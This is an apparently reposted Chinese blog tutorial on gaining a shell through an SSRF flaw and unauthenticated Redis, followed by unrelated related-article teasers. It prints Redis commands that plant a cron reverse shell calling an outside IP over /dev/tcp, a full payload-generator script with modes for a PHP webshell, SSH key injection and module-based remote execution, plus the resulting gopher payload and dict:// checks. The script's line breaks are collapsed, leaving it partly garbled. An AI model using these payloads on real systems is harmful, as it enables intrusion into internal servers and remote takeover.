SSRF+Redis未授权getshell

SSRF+Redis未授权getshell

1.前言

当一个网站具有ssrf漏洞，如果没有一些过滤措施，比如没过滤file协议，gophere协议，dict等协议，就会导致无法访问的内网服务器信息泄露，甚至可以让攻击者拿下内网服务器权限

2.文章主要内容

这里就不讲file协议去获取内网服务器的信息了，也不讲dict协议原理，这些直接百度了解即可，直接就介绍如何利用gopher协议通过SSRF和Redis未授权进行getshell

3.条件

  1. 目标内网机器出网
  2. redis可以未授权访问(或者具有redis密码)。

4.思路

如果想getshell，无非就是让目标主机反弹连接到我们的服务器，那么就需要借助目标主机的定时任务了，由于目标主机具有redis未授权访问漏洞，并且redis有这样一个特性，就是可以将数据快照信息覆盖到服务器的目录中，如果你直接可以通过redis客户端连接目标的redis执行命令，那么实现反弹shell的具体的操作命令如下：

set lucy "\n\n*/1 * * * * bash -i >& /dev/tcp/154.90.63.50/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

但是，由于目标在内网，我们通过redis客户端肯定是访问不到的，所以就必须借组具有ssrf漏洞的web服务器，将web服务器作为跳板，让他帮我们操作内网的redis即可。

那么，如何才能让web服务器帮我们在内网中去执行我们上面的具体操作命令呢，如果不是通过redis客户端操作，肯定不能用上面这么简单的命令了，因为我们让web服务器帮我们发送payload的时候使用的是tcp协议，然而真正内网主机中reedis执行的命令协议比较复杂，有一定的规则，因此我们要将我们的payload转换一下格式，借组gopher协议发送payload

5.payload转gopher协议

这里就要用到github上一个大佬的工具了

https://github.com/xmsec/redis-ssrf，其中我们只需要使用ssrf-redis.py文件即可，对其中的内容进行稍微修改然后运行就可以获得我们支持gopher协议的payload，下面我把大佬的ssrf-redis.py文件贴出来（我对一些地方进行了修改):

要修改的地方：

  1. 第140行的IP，要修改为你要攻击的内网IP
  2. 第141的port，修改为目标redis开放端口，默认是6379
  3. 第157行的mode改为1
  4. 第160行的passwd，如果对方redis有密码并且你必须知道，就需要设置为目标的redis密码
  5. 第112行，需要修改定时任务文件名，一般为root
  6. 第113行，要修改定时任务文件所在目录，一般为/var/spool/cron/，当然有的机器的目录会不一样，可以百度搜索常见目录
  7. 第114行，就是定时任务的反弹shell了，根据你的监听服务器，监听端口进行修改即可，这个定时任务是每分钟一次
#!/usr/local/bin python
#coding=utf8try:from urllib import quote
except:from urllib.parse import quotedef generate_info(passwd):cmd=["info","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_shell(filename,path,passwd,payload):cmd=["flushall","set 1 {}".format(payload),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_reverse(filename,path,passwd,payload): # centoscmd=["flushall","set lucy {}".format(payload),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_sshkey(filename,path,passwd,payload):cmd=["flushall","set 1 {}".format(payload),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):exp_filename="exp.so"cmd=["SLAVEOF {} {}".format(lhost,lport),"CONFIG SET dir /tmp/","config set dbfilename {}".format(exp_filename),"MODULE LOAD /tmp/{}".format(exp_filename),"system.exec {}".format(command.replace(" ","${IFS}")),# "SLAVEOF NO ONE",# "CONFIG SET dbfilename dump.rdb",# "system.exec rm${IFS}/tmp/{}".format(exp_filename),# "MODULE UNLOAD system","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef rce_cleanup():exp_filename="exp.so"cmd=["SLAVEOF NO ONE","CONFIG SET dbfilename dump.rdb","system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),"MODULE UNLOAD system","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x)))+CRLF+xcmd+=CRLFreturn cmddef generate_payload(passwd,mode):payload="test"if mode ==0:filename="shell.php"path="/var/www/html"shell="\n\n<?=eval($_GET[0]);?>\n\n"cmd=generate_shell(filename,path,passwd,shell)elif mode==1: filename="root"path="/var/spool/cron/"shell="\n\n*/1 * * * * bash -i >& /dev/tcp/154.66.63.60/2333 0>&1\n\n"cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))elif mode==2:filename="authorized_keys"path="/root/.ssh/"pubkey="\n\nssh-rsa "cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))elif mode==3:lhost="192.168.1.100"lport="6666"command="whoami"cmd=generate_rce(lhost,lport,passwd,command)elif mode==31:cmd=rce_cleanup()elif mode==4:cmd=generate_info(passwd)protocol="gopher://"ip="172.18.240.7"port="6379"payload=protocol+ip+":"+port+"/_"for x in cmd:payload += quote(redis_format(x).replace("^"," "))return payloadif __name__=="__main__":   # 0 for webshell ; 1 for re shell ; 2 for ssh key ; # 3 for redis rce ; 31 for rce clean up# 4 for info# suggest cleaning up when mode 3 usedmode=1# input auth passwd or leave blank for no pwpasswd = '' p=generate_payload(passwd,mode)print(p)

6.运行协议格式转换脚本

在根据你的目标，修改上面的脚本之后，运行脚本

python ssrf-redis.py

运行结果如下：

gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Alucy%0D%0A%2458%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/154.66.63.60/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

这个结果就是我们最终的设置定时任务的反弹shell的payload，将这个payload放到具有ssrf漏洞的功能点发起请求即可。

如图，就是我们使用payload之后的回显结果，都是OK，说明所有命令执行成功，不放心的话可以继续下一步进行校验执行结果。

在这里插入图片描述

7.检查执行结果(自信的话可跳过此步骤)

为了确定我们的payload是否成功写入内网，可以利用dict协议进行检查，使用以下命令可以看内网主机的redis的key有哪些

dict://172.18.240.7:6379/keys *

如图所示，发现就有我们刚刚的python脚本中设置payload的lucy这个key

在这里插入图片描述

然后我们再利用dict协议，用以下命令去看看lucy对应的value

dict://172.18.240.7:6379/get lucy

如图所示，发现我们的反弹shell的定时任务成功写入

在这里插入图片描述

8.环境复现

上面的图中的靶场是某公司的面试题，我这里没有靶场环境，这个文章旨在提供思路，如果想复现类似的环境，可以参考下面的文章，这个文章就有环境搭建，不过不是我这篇文章的环境：

SSRF——手把手教你Redis反弹Shell_ssrf redis-CSDN博客

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/815226.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Git分布式版本控制系统——Git常用命令（二）

Git分布式版本控制系统——Git常用命令（二）

五、Git常用命令————分支操作 同一个仓库可以有多个分支&#xff0c;各个分支相互独立&#xff0c;互不干扰 分支的相关命令&#xff0c;具体如下&#xff1a; git branch 查看分支 git branch [name] 创建分支&#x…
阅读更多...
5. Mysql的binlog介绍

5. Mysql的binlog介绍

参考&#xff1a;InnoDB学习&#xff08;三&#xff09;之BinLog 1. BinLog介绍 BinLog又称为二进制日志&#xff0c;是MySQL服务层的数据日志&#xff0c;MySQL所有的存储引擎都支持BinLog。 BinLog记录了MySQL中的数据更新和可能导致数据更新的事件&#xff0c;可以用于主从…
阅读更多...
轻量带屏解决方案之恒玄芯片移植案例

轻量带屏解决方案之恒玄芯片移植案例

本文章基于恒玄科技BES2600W芯片的欧智通 Multi-modal V200Z-R开发板 &#xff0c;进行轻量带屏开发板的标准移植&#xff0c;开发了智能开关面板样例&#xff0c;同时实现了ace_engine_lite、arkui_ui_lite、aafwk_lite、appexecfwk_lite、HDF等部件基于OpenHarmony LiteOS-M内…
阅读更多...
【联机不卡顿】幻兽帕鲁教你如何低成本0延迟畅玩 云服务器性价比选择方案 16G低至26/月

【联机不卡顿】幻兽帕鲁教你如何低成本0延迟畅玩 云服务器性价比选择方案 16G低至26/月

更新日期&#xff1a;4月14日&#xff08;腾讯云16G价格回调了&#xff01;京东云采购季持续进行&#xff09; 本文纯原创&#xff0c;侵权必究 《最新对比表》已更新在文章头部—腾讯云文档&#xff0c;文章具有时效性&#xff0c;请以腾讯文档为准&#xff01; 【腾讯文档实…
阅读更多...
算法：位运算

算法：位运算

算法&#xff1a;位运算 常见位运算操作基本题型模拟加法数字查找总结 常见位运算操作 在C/C中&#xff0c;有比较丰富的位运算操作符&#xff0c;常见的有&#xff1a; &&#xff1a;按位与 |&#xff1a;按位或 ~&#xff1a;按位取反 ^&#xff1a;按位异或 <<&a…
阅读更多...
MySQ数据库： MySQL数据库的安装配置 ，图文步骤详细，一篇即可完成安装完成！ MySQL数据库如何与客户端连接

MySQ数据库： MySQL数据库的安装配置 ，图文步骤详细，一篇即可完成安装完成！ MySQL数据库如何与客户端连接

LiuJinTao&#xff1a; 2024年4月14日 文章目录 MySQL的安装配置1. 下载2. 安装 三、 MySQL 启动与停止1. 第一种 方式&#xff1a;2. 第二种方式&#xff1a; 四、MySQL 客户端连接2. 方式二&#xff1a; MySQL的安装配置 1. 下载 官方下载网址&#xff1a;https://www.mysq…
阅读更多...
代码随想录刷题随记21-回溯1

代码随想录刷题随记21-回溯1

代码随想录刷题随记21-回溯1 回溯法解决的问题 回溯法&#xff0c;一般可以解决如下几种问题&#xff1a; 组合问题&#xff1a;N个数里面按一定规则找出k个数的集合 切割问题&#xff1a;一个字符串按一定规则有几种切割方式 子集问题&#xff1a;一个N个数的集合里有多少符…
阅读更多...
可视化大屏C位图：​地理信息—地球焦点图

可视化大屏C位图：​地理信息—地球焦点图

Hello&#xff0c;我是大千UI工场&#xff0c;本期可视化大屏的焦点图&#xff08;C位&#xff09;分享将地球作为焦点图的情形&#xff0c;欢迎友友们关注、评论&#xff0c;如果有订单可私信。 将地球作为可视化大屏焦点图可以有以下几个作用&#xff1a; 全球数据展示&…
阅读更多...
蓝桥杯嵌入式（G431）备赛笔记——DMA+ADC（单通道+多通道）

蓝桥杯嵌入式（G431）备赛笔记——DMA+ADC（单通道+多通道）

单通道&#xff1a; 开启循环模式&#xff0c;两个参数设为word u32 adc_tick0; u32 r37_value0; u32 r38_value0; float r37_volt0; float r38_volt0;//DMAADCvoid DMA_ADC() {if(uwTick-adc_tick<100) return;adc_tick uwTick;HAL_ADC_Start_DMA(&hadc2, &r37_v…
阅读更多...
Python学习笔记19 - 类与对象

Python学习笔记19 - 类与对象

类的创建 对象的创建 类属性、类方法、静态方法 动态绑定属性和方法 面向对象的三大特征 封装&#xff1a;提高程序的安全性 继承&#xff1a;提高代码的复用性 多态&#xff1a;提高程序的可扩展性和可维护性 类的常用的特殊属性 类的常用的特殊方法 –add–() –len–() –…
阅读更多...
Java中创建多线程的方法

Java中创建多线程的方法

继承Thread类&#xff0c;对该类进行new一个实例&#xff0c;对实例调用start方法&#xff0c;重写run方法。 缺点&#xff1a;单继承&#xff0c;无法继承 public class myThread extends Thread {public static void main(String[] args) {myThread myThread new myThread()…
阅读更多...
Netty学习——实战篇1 BIO、NIO入门demo 备注

Netty学习——实战篇1 BIO、NIO入门demo 备注

1 BIO 实战代码 Slf4j public class BIOServer {public static void main(String[] args) throws IOException {//1 创建线程池ExecutorService threadPool Executors.newCachedThreadPool();//2 创建ServerSocketServerSocket serverSocket new ServerSocket(8000);log.in…
阅读更多...
【嵌入式基础知识学习】AD/DA—数模/模数转换

【嵌入式基础知识学习】AD/DA—数模/模数转换

AD/DA—数模/模数转换概念 数字电路只能处理二进制数字信号&#xff0c;而声音、温度、速度和光线等都是模拟量&#xff0c;利用相应的传感器&#xff08;如声音用话筒&#xff09;可以将它们转换成模拟信号&#xff0c;然后由A/D转换器将它们转换成二进制数字信号&#xff0c…
阅读更多...
音视频学习—音视频理论基础（1）

音视频学习—音视频理论基础（1）

音视频学习—音视频理论基础&#xff08;1&#xff09; 一、音视频处理流程1.1 音频处理流程1.2 视频处理流程1.3 音视频数据流转1.4 为什么音视频采集完之后&#xff0c;不能直接传输&#xff0c;要进行编码&#xff1f;1.5 模数转换1.6 PCM1.7 WAV 总结 一、音视频处理流程 音…
阅读更多...
漫途水产养殖水质智能监测方案，科技助力养殖业高效生产！

漫途水产养殖水质智能监测方案，科技助力养殖业高效生产！

随着水产养殖业的蓬勃发展&#xff0c;水质和饲料等多重因素逐渐成为影响其持续健康发展的关键因素。由于传统养殖模式因监控和调节手段不足&#xff0c;往往造成养殖环境的恶化。需要通过智能化养殖&#xff0c;调控养殖环境&#xff0c;实现养殖的精细化管理模式&#xff0c;…
阅读更多...
Bug的定义生命周期

Bug的定义生命周期

1、bug的定义 你们觉得bug是什么? 软件的Bug狭义概含是指软件程序的漏洞或缺陷&#xff0c; 广义概念除此之外还包括测试工程师或用户所发现和提出的软件可改进的细节(增强性&#xff0c;建议性)、或 与需求文档存在差异的功能实现等。 我们的职责就是&#xff0c;发现这些B…
阅读更多...
Orangepi Zero2 wiringPi外设库SDK安装

Orangepi Zero2 wiringPi外设库SDK安装

文章目录 1. sdk 下载2. sdk 使用 1. sdk 下载 1、使用git 下载 # apt-get update # apt-get install -y git # git clone https://github.com/orangepi-xunlong/wiringOP.git2、手动下载并上传 下载连接 https://github.com/orangepi-xunlong/wiringOP 选master分支 上传到…
阅读更多...
【vue】跨组件通信--依赖注入

【vue】跨组件通信--依赖注入

import { provide,inject } from vue provide&#xff1a;将父组件的数据传递给所有子组件&#xff08;子孙都有&#xff09;inject&#xff1a;接收provide 项目文件结构 App.vue是Header.vue的父组件&#xff0c;Header.vue是Nav.vue的父组件 传值过程 App.vue <tem…
阅读更多...
Python学习笔记20 - 模块

Python学习笔记20 - 模块

什么叫模块 自定义模块 Python中的包 Python中常用的内置模块 第三方模块的安装与使用
阅读更多...
计算机网络——DHCP协议

计算机网络——DHCP协议

前言 本博客是博主用于复习计算机网络的博客&#xff0c;如果疏忽出现错误&#xff0c;还望各位指正。 这篇博客是在B站掌芝士zzs这个UP主的视频的总结&#xff0c;讲的非常好。 可以先去看一篇视频&#xff0c;再来参考这篇笔记&#xff08;或者说直接偷走&#xff09;。 …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023